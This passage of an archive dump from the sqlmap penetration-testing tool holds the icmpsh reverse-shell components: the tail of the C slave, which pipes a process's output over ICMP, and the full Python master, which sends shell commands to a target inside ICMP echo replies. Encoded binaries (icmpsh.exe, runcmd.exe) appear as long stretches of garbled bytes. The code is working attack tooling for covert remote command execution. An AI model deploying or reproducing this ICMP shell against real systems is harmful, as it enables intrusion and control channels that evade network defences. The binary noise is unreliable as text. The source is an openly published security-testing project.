INVALID_HANDLE_VALUE) { printf("unable to create ICMP file: %u\n", GetLastError()); return -1; } // allocate transfer buffers in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); if (!in_buf || !out_buf) { printf("failed to allocate memory for transfer buffers\n"); return -1; } memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); // sending/receiving loop blanks = 0; do { switch(status) { case STATUS_SINGLE: // reply with a static string out_buf_size = sprintf(out_buf, "Test1234\n"); break; case STATUS_PROCESS_NOT_CREATED: // reply with error message out_buf_size = sprintf(out_buf, "Process was not created\n"); break; default: // read data from process via pipe out_buf_size = 0; if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { if (out_buf_size > 0) { out_buf_size = 0; rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); if (!rs && GetLastError() != ERROR_IO_PENDING) { out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); } } } else { out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); } break; } // send request/receive response if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { if (status == STATUS_OK) { // write data from response back into pipe WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); } blanks = 0; } else { // no reply received or error occured blanks++; } // wait between requests Sleep(delay); } while (status == STATUS_OK && blanks < max_blanks); if (status == STATUS_OK) { TerminateProcess(pi.hProcess, 0); } return 0; } sqlmap-1.9.6/extra/icmpsh/icmpsh.exe_000066400000000000000000000155411502261744200175700ustar00rootroot00000000000000="4Ek^qcTnDx#eVTX"h{sAa[ˈ/C$gsFQT :;\DVsjbq~< w]LuL;3f$9R_=ΓOY35\nl;eS&^_ !!@?e >,HKVA OˆZY:y燅̡ Oy~F Ȗ;ƀQBKyR)HZ)i¨Lu3 Zc8 (K.ډ\"-_Um?)杉<6ڌWi amώɏ T^J|W5* +L2.}VL>6_); tQ-Fg=BGOu F nMTNt鷭<㋪^=6 XCIŵ Xc8Y}NL*{VC*q^/Bxx##:̚E̵shkLʙ@XK{=} X(Q &T6EM-xR5·lQq2(m "Ǜ:TK(d!/I]q٥ O>aMlQH+^v;KAl6JC738H :('y8Æ*O䆸 EW[Ɉ%X{fI?}4c0ms]KxpQ5'c\]ZžP:hLIu<"#^C@Z _ɷwCjli\4~9~i*f=l-3~[k=νPB}-c  wݭ4RA=VEW a^9OØ0yboCcjPp'$z;t54I"PI"[n !)}I #h?ʃEYerj+W?v&8C{[O^=}<-a>7~:?op hVZwUv_6WJs,'/K$P yl<"nk5XSkn10,2YovMX.B H_w?VBȵwɣl]#oSn=W83 ()Gĸ']ÍpF:WkHe {\8ۦ}X=fu,['i5 Nk4d< ǖV0hFS'zw[3e`O$\CX0^y}K3#}ű|y}_C {cKu&0RQGkSW3m9IPay>YFȱi='4jᨔ񨷿UǘkHh;zvPEIQ?ǀKL9 ,3zBn!.栯Z/CɸZ4K ;sM9nlrی #׀944K[?-}w Z99gmttPam.yxm9ɰv=bAtm]$9trMǦ"˹zQJ-dRY.55/Z ilO-#6?!{e1zѶ?>IW)A8~mF]]*IK0痧|6Q%)k51q;)ν.axrE˸Z]ׄ>Beډ5zZY$9 )#qALri.-Sn:šK-Lސ#/Z0mĴ$+Y0&H ɨnwm˪dcEku/IӲ_ZIiU ^xN=#u.*ԄKe 06o>oR1DN!,hᱛ/'/:am;Ho7F$i/7(U9>)±D7Vh1u#t2o60k>}Ί Y XF8 !kVT*}1"b0S;R-@G  W2Z#-7d1&Jf"*'>jqcS ::E E~}Gߍ^= ůFRE7Y>ODzwtl LٜZ_$i>4j]?\תυརpy'7ڮ: Wp77[)(Gq+S&^R_Hۊ7z 6ΧSŊTG ^>;IHN88X7c;ǔHWB5 e/S2 Ĕ!~u -U*efggXg` Xp^A>+rIy2#E`c:۠UM!]b>3 s^}gİ6zi]uyr]fG:gt=mܸo?WAig} /YW0 c"gPQ{,k9їa-C>CXci ,V"f <:^k] z'c~:h }b}r0F}PDFd|ǔP3͎3WjB?xS"U•md΃V@u\wݎ"'a03UHi\çc&KnmR ;H%a2Ł4VIOe'R,"~%DTᙕm[(0  !  ]&*xe5T]+4_8ͱJt&q<|Cf[Pb8?d"G>BcOoc7y5GG!( {G8B$Bœ oj00;ԁt{>H@Tގ(jF93)G}w4ѐ/ei+)pNGgP8.Dv!4l@{^*)7$"@p7댲mp902:^-,}vH{5Y1߾B" Fa,(d9eI4*T? װӬI D3D2K! X-NwY~U.f,&cd \n@;ӇLIqs#N;OYiex ad%f$bpuf'{jTߙRk7i/v~ot^A6p:|JlpG<']u|"*[p^$ }3EcȈh <ĖT%|Hgo5bB<#﹗2wN<֛Jya]oo2C*[+c7!y#3在tB$keP@_}['OyK<6mj0ާB1`ygDA`~(R+8% 3K* -YL$,?ٳ~(QGy0_Y'̃2qHSYpT?*i i:pZP=A;0clN1AnDz$:<` kmuŕO($ЗfmVQb<$YAS 'CzyȋX .%/Y1M}Öw{ܐq6 `p+H[:06$kաz>(h^$Ҹ]'WV Rl&~ijc&7XᓁIyD:MUĜNT,ju1k~$P@Qv\5wϕn`ֹ4*rz-IPYtk80!!/:}os6\:|>h*鵼 \[q&},cN=+\քhU2d.>P^7)M"lKR6P6c$*qaDDNECFH]Ո -r.BU^4ag.+֖7%,L7vBlaHFl=Ku[W঳ٓC^3`$~gG&Suz^8# :z7Mt:w;>4vHrhSexc/;cd>%%S氡 yK|B{`FLFUh:lj¢Px;3dEM8LuW @lF3]]wȿ4=kJ#FD72I )Z|pR;z[fB< +kx{m`S-k_#;2! ZaRCQ DO>6[5ԦB kSϝ2DV3@jK^Ӟ 9_sXY! lMYmQ]y~ft^tC!?]25XEdUR\lX>`>Woܙ;gN5 Ű}Ff'Y%P,LMFc9Nh?sZ#a8p˯\pzc.aAD~1dZj(D'}Al̂RjVodpO#Iq3Σ>P=} 1p^y15?=ʂķO&Ya2% kt~a+s{ePAۺG#(dk+7_"z 썮^b"1g-+D [0=iɕ*rD; ;1|DɑJ `v=FomlK50I ګ_f/!cEޖ4[ΐ2{CA^E C(wBR쓡 uJH-#ŵ6te_K2i4lzJdBD>xP}DK ;c6=Q1M$Ȍ~ڿvMhGD[!ԡQiI^[bVk9riu`Ng/RYՈ!3kMiK${(Iua6XT/6]41'GNwxf {(_1LV6.?+VOX9ZΚ󂇜!BaJu֧I#qGW zk``-D\fe3RcV) # # Copyright (c) 2010, Bernardo Damele A. G. # # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os import select import socket import sys def setNonBlocking(fd): """ Make a file descriptor non-blocking """ import fcntl flags = fcntl.fcntl(fd, fcntl.F_GETFL) flags = flags | os.O_NONBLOCK fcntl.fcntl(fd, fcntl.F_SETFL, flags) def main(src, dst): if sys.platform == "nt": sys.stderr.write('icmpsh master can only run on Posix systems\n') sys.exit(255) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: sys.stderr.write('You need to install Python Impacket library first\n') sys.exit(255) # Make standard input a non-blocking file stdin_fd = sys.stdin.fileno() setNonBlocking(stdin_fd) # Open one socket for ICMP protocol # A special option is set on the socket so that IP headers are included # with the returned data try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except socket.error: sys.stderr.write('You need to run icmpsh master with administrator privileges\n') sys.exit(1) sock.setblocking(0) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Create a new IP packet and set its source and destination addresses ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) # Create a new ICMP packet of type ECHO REPLY icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) # Instantiate an IP packets decoder decoder = ImpactDecoder.IPDecoder() while True: try: cmd = '' # Wait for incoming replies if sock in select.select([sock], [], [])[0]: buff = sock.recv(4096) if 0 == len(buff): # Socket remotely closed sock.close() sys.exit(0) # Packet received; decode and display it ippacket = decoder.decode(buff) icmppacket = ippacket.child() # If the packet matches, report it to the user if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): # Get identifier and sequence number ident = icmppacket.get_icmp_id() seq_id = icmppacket.get_icmp_seq() data = icmppacket.get_data_as_string() if len(data) > 0: sys.stdout.write(data) # Parse command from standard input try: cmd = sys.stdin.readline() except: pass if cmd == 'exit\n': return # Set sequence number and identifier icmp.set_icmp_id(ident) icmp.set_icmp_seq(seq_id) # Include the command as data inside the ICMP packet icmp.contains(ImpactPacket.Data(cmd)) # Calculate its checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Have the IP packet contain the ICMP packet (along with its payload) ip.contains(icmp) try: # Send it to the target host sock.sendto(ip.get_packet(), (dst, 0)) except socket.error as ex: sys.stderr.write("'%s'\n" % ex) sys.stderr.flush() except: break if __name__ == '__main__': if len(sys.argv) < 3: msg = 'missing mandatory options. Execute as root:\n' msg += './icmpsh-m.py \n' sys.stderr.write(msg) sys.exit(1) main(sys.argv[1], sys.argv[2]) sqlmap-1.9.6/extra/runcmd/000077500000000000000000000000001502261744200154425ustar00rootroot00000000000000sqlmap-1.9.6/extra/runcmd/README.txt000066400000000000000000000003011502261744200171320ustar00rootroot00000000000000runcmd.exe is an auxiliary program that can be used for running command prompt commands skipping standard "cmd /c" way. It is licensed under the terms of the GNU Lesser General Public License. sqlmap-1.9.6/extra/runcmd/runcmd.exe_000066400000000000000000001105261502261744200176010ustar00rootroot00000000000000=.;q>'2*jEd.$L(tD0{n[!!5OkDڕ0P@x?^*3}~Z5h` qC8:[1Ɠ)!!ݻ7,*Pז띨_NP:(?&gJɔS( bO?iHLsOz 7J#O PiZ %)4?s'gkN1ȱ}qZ݋"zFذzd[?&_3:/7Hgc7-=蕿Ʀ,* ˔;ƸtJǹ ziEP jL]̈́&^,!yk$BNssOsk &M~Is#t7AwWω]J`l?g!ȏaA=*o0Ovv1#zxءhza-4w^#-R5]O1,7y ,cC _jZq^KFb_VՁ f>w-Df!J3,%e1B\}|dcxK@_6Dqde/63%j$7hxO |& i7"ְ"pw" XgӀv2.}$^1Dk2>tLt4=zY6@+%BE5"J[IrWo ٷym/7K6JMX]f KAZL$ӫՙ K9Kol'="5(C Ղڙ!YrQ4KpVu[/Wu|0yBH+_$vIJ6R>R2R:MɉHQyv~VojvNn+!s5hM9}6IڔLjGgTRaF59 O\"UճP닑ݞJ8&z5UQ9ӉHΌ-,^l׆p -=6^)s(kyԿA~&$XsO*wjrM 7Ê1gf\@X2?/2)o7EE6LĊڈ&e~vȜ;))02>huޟr)&y4Waf ['e_v~*?u>50ӷDj/ xŎj? 1ֱXeW4_4LQz zY=bsbwo[n*X%U8;|]%\cq{ݑSݙR S%۳txX &Fl-ۏ!AG'([If苽8Z(帗ЄF_#e w+N q]\5b#BʮO=trir}Kaj 0=͋V Xfp/rU[erou<ʂf-40G#$]55|{6Y2C AtqӕrΜ>r6`{ jL=겸z):Z@r1* ]%{ڮ,W"bqYmG9G 7eig-8BI';QbGz,p3n}@ ڊP" r P׽r:NLzk!@<L$j\^ 9#avCV4[r~AHe̗ }{!0lwbuLO0T?"~B,9,\$#Zե2wvt5l UU!`fh8QL"8A~E5'$chL%KsgÌ;ǚ-2ME C𻲫h 1kc1hj ?ώwUDC`r\N}RsBם÷5EgG(PRo{ ݮqT<]) IEDhzKHU СF;L:$qG=\i`z}X}INJ҈=c@`%%SBAQ0 41s2&rHZ<2eH^A==\כn*C-CD+:Y5Y~,)G$RݤgâL_/~^/ !KQCQ*@$L*qJsՏupF+J$.N^a%7-glE 54XV|ɿ.qx: +1jEu50VwO3L*Y\lQF , #_ze0R}w|L nGƷ[ܻYqZ8wUE(y'O66ʚuIoAqz_;-nG b\f)lȾRoU%PQV8e]Fmy7?3P@k:S!@A "K AwļʼOy&׾>om dL;wPbkw88Pd=#TR$7?v듸m; _կ"ʻ/`ab:HwםI!(ge㎆6TNg{?"aM.s:E aGrv^-0&x8\Nre|MMs*XC)SэKGZ<(nG\Nh<4^` _MCcUBA y-$,~ZSvEL>۩"D9w"2`%; q'zuJ( }.?ZmC!2\vmufq58 Ɠ+aUwQԋxΜ޻Ӻ2^U(h*7 f#qjyAD_vk+A߲ $)).f$e֩+<}}*zR^^'SzpU%< e>Dgc*l[Fv Ýk%Iث?'P.8Ѿȓ>ɆNQ Z+]ɓ$'Yc;9+>Ѵ^ B"FQ=vy_OmGm%i?+=EBQ|:`#c)}gTnBV>\/uWؠg.f!w0c{f+^?J̡ j#gK\g(U;qe؞咨WayGRvO6O <{}Sp{Y<a14F}{3ƆaHvWKңWQen\IʞSs8{tcKhz43uooQ& !R7LW ~؆6"+߷HW"|$|{ !͊J8 X)˚*W[XEZa,l.tH\RTt `+vI.h_ J%zE%H̏X0Yf Zq>Y3N,bV(9T" gxb;#B%E~rA( Y8'VZ0KXBA\::x;$2fERE֭gVQɑa'^zHk=_Y=9Z\"B4 CMwrrڡfJ=y:`P##|,7M+ݠG-摖 맔B 4G`Yt؏¡C[Z);jI+cZaE;6? q Q}b,j~ZtNTBLO',d-:&4Ri!Fhα_v >8kXv!SK m]WI䶠k?U|7fg&lg)P@V-e 6^5(`3s1IϾ iCggo# Ȯ/@o*N;(𯍆 )K${BvN#͚q% F\ ykJ8>eP4l+17]y 3!myaup?ۻil]G.P\J޾>/{8ޜmyǷ8EEFQ/wy/Pp]I}CᏒz D;e4A>Țr^:HJJ40};e.Ley!&5֪#]AjFb?W,cD5pٹJQ`rv*Jaue0E)W8ec_v{v+|64_ T`oQ GBݷ0ԎFoY wxJu\V*k޾MQTOj9Qp@[m@ 1}8Py Q_19ok4Qhzt s1w'rHdE GXwN^ Y׺%P=csp-\Hh`i+ )wk@jYƣ{09fO:vߜ-1$!yNڿvNHe#Zoy4 p1dom?h=!@ZwβכMLw/i.ߒ"M!;H[$9@>z1rqp kJ2yΩ(q*i*VmF[DdyY!j^D^LWU͋&ݰԩ!JLnFgs̉ڍRp?h&.䤫:n.17A1RUlLX589tݓq%Ȉ?J/us =ѷ+l/R⍷RUjz]X.JMy{aVtB:͗ڗ3&w/j(8Q%uϗj0}89(vr~>Z>_v^7Ǘ%>y83gJ@nщzv,lmgks|(e.t.3qn0oja;9Rbpqsي&EZ5gi4hd) LjU_ )#fa+p*wo=gl S[ IClzڶ# }IeiтawЍ5IߔQʘ\./=f)bX?p`?Խ;EGcSfB[l_TDKMpc%JwWd^`tK=L,v 豯6r>h̀{;Do|TE@G+`U"9u5:Zlx) tB'/[,D׍I0Tve "7/Y38dN.#Q 3s( 8:4A~J`~hVe~G8Ԟ$Osg8'+g1 C8F-?1ɎFjѝ8}0'I2\ίYAU]& k2Bp8]3);YWI/fԛʭ 5K-P$Gd!.Gw.2p&X=Pu EK 7ZhUn8fKӥsc όZC`$.ud̺?T߆Gq;73q 1L,nÎyhj&r݋E"~۴B&%Y ݥ!t`>5I\+Z 9;H $*LF&!n!VjeꃥQ!yeإ`jRrhA$ ~MsS"/N >$-}|oy6SL DJΛP f*F7E!6Ik>(γ#ϟpRXʬf[F^iO8L_ S}E;ZWZ& IĽkڦH;*@_Zh_Łw=|:]Y('JƙS;떼׿}ȁCgĶ1Bjnοh򖰷% d$1KpBݠs:bҹrQ s^rD8!\(S11̪k)va F,N餢@뜵,sOe,v(Iө)Gkzl\/m? .9Ԅ:#EAC-~CG.UG.Qf>o*(S$7Đn:^:="]_qdZxpULj ֛u*d6s"pW0̓X9GDP|jӳZb| :/2:Λ_nrJ]~:F*89ٔ!)i [\%zvqOig0Edhi#"Δm]YLMq$l{.H۝ Gv*=^CHQi bbNw"1\F z-xrj 0xb(^Su@x8Эl!nsߔs7HTt]w䁠~'@?qZBqݮ~ߊHynUQU"3ojeMsM=ugv7fS2e4QF !WZpF=baOuIYAbJ4O;꾺~f+$tx0ʆ_ jYNX]8W={KszzS}*Эwv۞ȨcOMo08\x4sW^^Ȼ3DL7)bp&`'" Y`5Y&:ka[|rb@o0{Hʧ|J|!ȿHQHKҌa{_Y-`R1 \α`&|MЀ4A&N6UΏ3}lŽݍsnK޹J]u΄'a_<UeJ 6>c9 } q=)Tݥ>E5>e}Nh T9(ha] ^ggF),G&?}jbylAQԨ!vv pg٭Bö0ڬ/)KO hUwutw%lpACP/6| ~hhP &<7<q%qsy&o8(ˊU6 u!Vnjcd{Ӟvu$,(zcY I *.UJAlf4P;+6Ҁt?h6 8 %΅\Zi}k|5䤙rw =_%6qΑ,y_lي3]MN*huE k ϱ+Ph==N#vxQZ?9Щ.#1/N>x.z&R z0d7tHŒZV&Bz'nSFmlYfFYLyzy.rl'N0 -pR4WnXA4q5ͅ*3x򐜤]Μ %bo8.8ւٯ>-BqIew9))*XeG }5gJxv/ADv8F1A ;injӇ>c*Hl\^:x^̝P6^\B:V W<9aD%5*dܻ3>Rk|"ڪ:4p]aiI@K~ͩM 86dًp״Z}7=(eR+E?dPqsWO[c:Z~;8lv?ϕ5U5E%~ C٪ea4~-b@j?5w Gm_x.gUiN;詔W矑RDlfLiI bR ,Z/;o1_$^ژcR{tqM37_}[!a#xo:{L/$Eɽ,p!T_OE4[)f}_WvInC dlo ޘ c>Qd+jA'gG1iUܡT3Eq@<.'@h%.^ !P'^ }w<9d]yZvre;D:Sr~8AAJEd=%R #􋋬I7 &î0tnˆ[^Q[|.i!!?[Cr"HrŁTA+K1OgVqY0 ?S|wkpl{N.: @Ԣ7C56MQN7܆$H굲 +8Hr#qQ>'4]6 %9Am+LU)yڋbd~uZ$vB|J馚N]Jۧ5f g!Ei7C`ͱ%j"[Sf ]ao+V{%-Dҁl*S֔K͑ģY2eGVu*ֻ=Z>u ҈).PxKxVi§w49/v+/V,bUhE|e""q[R)LI0$4dtf>JA4yx&YDxYPeW9qgY͢6#h{uz豙(9ee|D)[~W*yi=n8 wVrSL)"x%i M{VPCWЁ ,g= R Ƃ BCqhwY5$W]v:#QC*/d~b|}Xfn=!Gc Ӊn%jTcz?Qbz]06Ix&>{9FM\'χ=Ff=3 3'X"<^+$q.Q YLY6M]AQOJm4)cH !'ga=o&h:ɛq!`ÎpmjR죬g܈:K #XR,b젓BnD>52l7V3a+wO?ZwB}%kp<:p)GR`D ӂ[kݟC@ef:݅գֱXwlLXJѹzK,DInDWb {j1i]6l/P{um)`jtXdjV؟5F[dV;ynNjUcbJ>3KvRPL-(Bb՝hPuQӥQM!\s7[ٲ I Io6.VeO ts vz>e#q7!D}%gg-=.#i8v-ՙQY1~o潝w F#M` Y !oh)6$W0Vop!;rCx"RaWrEajzUS(,gKð %vU8ƺN$ājր_eMz0a%WXSP;)SSKvݴCx2 zFˑ(9.F\NG+[K}o"\sr&:%tAFdO,D/};O ހBC*!AMj$x. \!K"[Hitg^];|d}0&ܢGHܤMe îJ㗰c@h,L~c)@ P6y5K-ȗq 2s/c6yכ>stShRZyda~%bgJAtO)k?߉x@/_ qf3;?)^])Ł]`}+=R-4ЁDS4B|UV2=JP%d;_3R0(`xln -5TT!\8r ̫Lfi^L e`&l9n∍L(lcӜ]lJou(d%#}i9ŀ>s^$u|Qh{ "dⵡ\jVeGBh!] )ˡa!^{7#א'^חY:Ǣy,ѕi[qOQ<.ÚozaIжo 4. ϮW4#at**v 騌h]LR`_hZ X?kOZZBZ~\fN i:2_@~2|fCl_ME3dDFn#Ru` *-gޡ(42-W^pKf"ȮؕjS]CFjN$G6؊mP,Ȗ0Cn+Q N=/opҞ?P}@1Ӎ  Pd /LߩyE|+5;kp&xœq< eSR>`$d)de\j%?Cؾ!"(S1?s'fc]qSBJ礸QY*Ёױ2I v}z>4?xӾ3,*\~Qӛ_]M*αJ ,7)1"ŸqDS-5nGܦho|i~Ѱ|l" T$ug)ԏV1 z<)w WvnHJ"N"ݍ!#>Ж]t=[GX9!n)r P(vJ:)}pM0Hs% )Rn)P9hEaNcF1<<a҅堖ϯ~^iiCT")i; 1:)lnoAUK76=KVHִh/֏<9WߝGZKHU˜kVG죪xG ܄B4C,-A7 բx"uP+>nw7qe nD$"Z[p`TM|vv3Tt(4M2"Tj=~M>tAA _܉_A nzYp>{'$Wz쌮G6g,4T,; 30KɬgT+elw4.KU-3lt5w7,&DٛκW9z!}[F4r>ARY/!F&{Ⱥ;3*7kҞ1gq?5A~I+ghK?^?% )C/AЈw65ti 53O ![$$Gmg򜫝]8Cx&Ky͌ q-T2*rP?IJ}io$bkKwyk kQTsQPԓplZ>v_SqNJpCQ].b}rmX{ԙx,]]lg16߸F{zg%tW91i%5#0v4È+:`'6dk#1rxG^{;WyE&ѩ5Z?j@*H^ǫ8xUMr_Ig~YXVRrUh?M؟{BBԮ kN UK_5ՠ/v^M)wFTLDrf!hYK7w óY\+Rt$CɾL7^L%bucI0+q|C@X2Co_r.cIR [\/]~/x\U1^-]>ȽZT쓯#bŬ7u},n4$h!f5Gj'+E y|ߦ)Ѩ<ٖ{U)uhMP:=[:V8ᘤ_+'5jRNB[.׳釟t=Vj~XJr׷ɪ˩=洋;c8F#sn>[KDrvLz~+rf[EG`SԵԣ^;:W2vؽ{jO . 16?ɔ}47Խ`n6766 7 Ij֧N9zHZ./ K/AUau3y VRG\*J:=7%&OE|c&l G.L +hdY5<MH<~S zqOO#~B]gi+,!7~ב3e֭G^Қ%2:,;)AqbvC~%q@jݮѡ/fR9f͟'kSֈ{#1Bmu='2;A%<`n _ˬWscݔl-PԅA,Yp'<<"`2ahxh͙R4OQXs8E"fg'E"4Ftk=!RJ"ذa$ f~7<0SEr3TH"Px<[Af_ aun|R$ < ]]*WN㞤Uf:<ނ:c1-M#PN F }Ծ3YJ V'E%?C0Myvz %zKOs74/~ƓABl%qڰy7)& i`k~!Əy&5mQjAJ!" P$&GޜA`"꟦7Ǎr&Nk2`X'yje =ZA30a$c͜fj~΂S UM:>w iN4^BCqFrs#lFHm=!2UyS0a9HxK](:7s'"$w\:tWK2=Kk`wϺjҵvkLMqϬ:^=+-ϟpʷ1RKl,~R@}#,gᨲ|rܹKjc%I3^RlFإwC\Qd$\-sP{FF5VO.Ynǃ\^$ap,ILNԓ[F~TAؼj ͶRw'-6 2*@ 7H.Ȍ?n&! ׈\}K oIX nwʄ}1}C4Gl0^]cM>]iU ƼV$oxT#2t7V2RR$)lRbTo<3T!Pp;3l:Z{/ufzwcԆqSU1=5L4%J~14)m<8~:؋?QnDV#kz=oW?O9@NwC6I.~=r,Ud:@--M.BA]SX1i$J0Pi{q>FK Ǣsg|rBccU>fސ/3)fU Reh<%Go?l/}~{P6|FIcy4AU2a{2z  ":Rq+!d7=#!16QxIon O;]\즶R B_+gbR5봕 ~`;%Yzϼ0zWl0-@EӨ\W; GA<!4-mx?R2v/nD8\3PS(/聡,N1> ؞\"`jbvM OӁ I9eq[nCrKkǬSS_4L-_%CS5JRs7Њ8Il#BYϏajlgx*VqUwg,<|=zZ4:E%yhHڦ3e^Wij;ڋh!,]WR8@jsY +ӾSjפI~MNz ٢NAQ\o ϩ %'#™^iVު9]Y߰<Nx 1-35@W=qejA_0+v/,K&ڙ'x GT~O8@:!7]?{ptjM74;ܙ!if=Sbj&4`3tvl)8(i<AOҿGzlҴ+ fd(̤+:7U4 V 2َ^Krn$QW _5^n4#h;vU bk8-I`i ̊).l3oLxcRI d飥o,Qbg3/_l1o>t; Fe4C?yE]Z.hjA}ɋ@{( 4G?#DٶUsii0 -q[\exovén7+_(;yqEwWذBt euuf1/QnxO5.ePL 7!(l[ Ƞs /(n+G6^SIߔ I&/պvUy Po4:\ikrn^A?uK \$Wz^{kまIArsc<(ҿ}!6$_ءq=KF-wɌIxB!T8_gܚmV6﵃t?F'.E0 wvQVUX8_s̚e؊ ַښcrbr*K?s8zh-Lj24@}O7Xڛ[ou&RdXs}fD00â/ZQv$P R?B_zf?k> ]Qtٞ>pg9QŒj[Β%%N*몓X9"C<*21Zqd)2TuZpmU`[{?+sKG]yV @iۥKSpxrIn.^tzw6(Zp.8`> 2!26AWcXZY?r#t[EWưu*\X& jT\,7[RDQB6cr "p z9lʕnL*s2 }q~m93Id{.LinqaOcpIcőZ1$:ԃ^ ЌB6< ~ ܑ~\ U$%a AxCBOs}?a6LSkJLz "@y}{\/roJo{(3_=ΪUF"YrplV(ӳOyP<ƭ~snrnQƘ6zv1#PIX_]K2,yﺌs;Gk^Y/ʔe/&1?Guy?h쓽G\+sca|PpHCH>R8f 0,?y^@p|0xr&6MZlVRUhϚHh8+β}eW ;yaK Sf2 EqJ*PG9A ~d!3T]Eݽy N1념b]{*/ߘ(ن>M '{x[N:kƺ߻G7mͭ0\vG\u;@o5S &S|JώZ" /1_ v v La=7P!cwjH r{A}ZpT2y`(O%N9IZ>-ݘ:]__v集:u?wzy)Ashd DT+??Vf ” eTXDƐ]z[! 0Z-ƵkF2 Hu/08x[I lȎ> =ά < lz VNxY͉T*$$^!ہo7!o+l;z)f{P:-gL1Z%yI֨%đ l-tbߡi]YQu՚02Kϻ9ҳgbW&u(yZ2ZV-& RkU(Efƴ1(1[#{S_ȚSG  ʌsIk(0{Ksr ;W% F#Ku!!TRsHz7BnC[+Cbsu޴2o6; AiӅȹ+%K+f +.@ i0K8Uy'g xG̈IxrO cFrS_0W}; U74 6=bb0q`g =79$mXtČ6 -nR]mQˉoǡ 92 Ga[7r],AK Ob b nWSQxYB 5ey!b$^E$r$IRvD2>\NEyk-'Ѱժ];$Z1{, dTqa^:D"1k/k* ϔ8ͬs.:o0R{aأ\b(OPL!wٙC G^C.*G'xOD?ž̛܅@Z `XrxʅacMc&Ga}}çs}*SMcJAkK7ނ5f%jfl;{7輊av&]V_C7b3/3D)\) 7/`[U骫vVwL(z[)J!5 \BĤ߸Z>IQ[0J5rY?>6shtf_GΥ !D<܃找?|/Ϊ_[y8;(7}nRPU<9| MAoL_vו)@;ǎSt@z(i!9*p]6GUs4p(?X%[jBH̾?vܪ O2Te>xGn#$phLyR0R ăS,(P @[bNpưv$8S$F^ b(_S(Aqd}ƖEQtwUL%1|?v C:\8՝% ?KB<1և96IBxbkmj5y9肺DZsi;LNut(sӃ9LE}΅rZ`oTeݺS yc4DnY kɽC$,Dk+@D>_Ùi}TQ>< PEE \''(b(Y MrsiR]˜ 9?dFsܚ1OeSp$=9n1Aek]>]NeBDŎZ]2>4.{*VE *sx+6<9 z6NOhE5N;G1:rl۵vyfA6MIW>ySV1sQ[wM<%̑EsTnx|r\t @@`)o 'SR_?rW `2 M߈{r/K&t~R xkSJj&EMg>_ɣJD*PH:tmH5 j!@%#Eb?dmuL|Ja鬅4tPGL|qdl ?t2{-P~(ݯz ֫]mר. du.ް"IunniGƒ+)})E16 W8lGv kkH6j"h0 YJ2H<~S5;.%l:56TBK`&fkmC1 o@W\uI)_I>aPi+ԀCv+rNӬ=ڧb즬i |сXιbGZ@XS{0K 7񒮄;ƳoN\ȅA᥎^ƼJ5imF[~57 rg`8d!Þ]CfB*.Qw;"OmP_O_Rm'HPVL/vK@JN(Ȼ?>lѧF_өb9XIա"$8` 5/djO?au^qeyͼ`v("\yāP^vۏUD (̫;PM Z|7nG3je>Sw93O6/ik]7nVgMt8O?oGJ+T, A[}9C/檗i/\FhAG Od'HA,Lsm|:0@RC5^x2KR$Q,H*h53E{r&dRUZ TgV"Bag) `GgX j,r u xf8[-@Hd!of[wNEdžI9N붱>xkǥkmc^6gCQ}q'ް&._򞮂vജ? ,d b.o~h>%@8 \-LS0i*fl>p&8OdEBdW㠓&y]*J G+fc0=fd* p`Ai>XvOqثN;l: 53RTIDpihޱW~ &R Dtx>n%dZfeK&q<ęuBwp"шi]kǍ@EhFF=+ eQ/ RY\DO^5%ϚгJu]ȸeO7@>xYf\~2xqA*O:V($ >['P<9Ip. h2(qf勜=kޯSN=>b|cy{2kQ+$H+;1Xr(yyQ0Q1WkyӰr'xE {ilO @giXx6k+sdJ" a34v4&m=r ݤHRjU&Xl]gAYK80LmqMMC(p 1V~:_2yea| inI [HDcGdԪa f"I[ZA EL N2e6’|E:!dzb,M LHWdS7ep{ۮX k6Q@Rw%3 lZ}AYmYmGYB҂Z)qh 2t .t5kҗi}*}XHdϮRIv{44h_fi4;E3oFA'79 Ͽ8~П/;:WXIO?Ri 1/{tٲ"|}$IcJdg1ӻrM.ۏobd$a]+›9+%|N@!˞ #: 05`7THC"ֲc2S9,@TԈ,MVdTضzV#|tSز;쐒 Ƭ@a{M8|hV f25ai cQ:k*!5L&7!2'wEi]0؏nS_^xԞȏ/oqX^FZLkcz@in,K?t[E A>^pNʈP)ᰐ&W7#92YU7sR&z̾\趐QFI)rUJjX3T jQE7wR@:͆6}B7t&ᷯD4([6+ԛa(DI5;cc2l7 ) !LS LdW$(f2;˕h{۲p1uƂ+-bBz5Tovy+C3gQlsarʞ-2njAɥL YxfJ{nE]WDj8^I;m۹KHu7[]0%e`O 2 9Y݂˷ yaLLoycW]й=X(%pJy})w gi:IC8sFY }mA`k`|y|sp(-z,Eh?GÄ _=lpI8p9{(.|=صNCP}GI|ar`ձSRAxK dhoI-6Wmh)0BC} hm0Bk3ǍDuNb>i,7A}PO,Eqbm7CCE2@Oy7DJIJ67!RU@DNl:G~"`DD1Nu{H2GPNQ0O`I`A9E1vbi22SSmOspιD51ٙ~$@ #*ǟF6 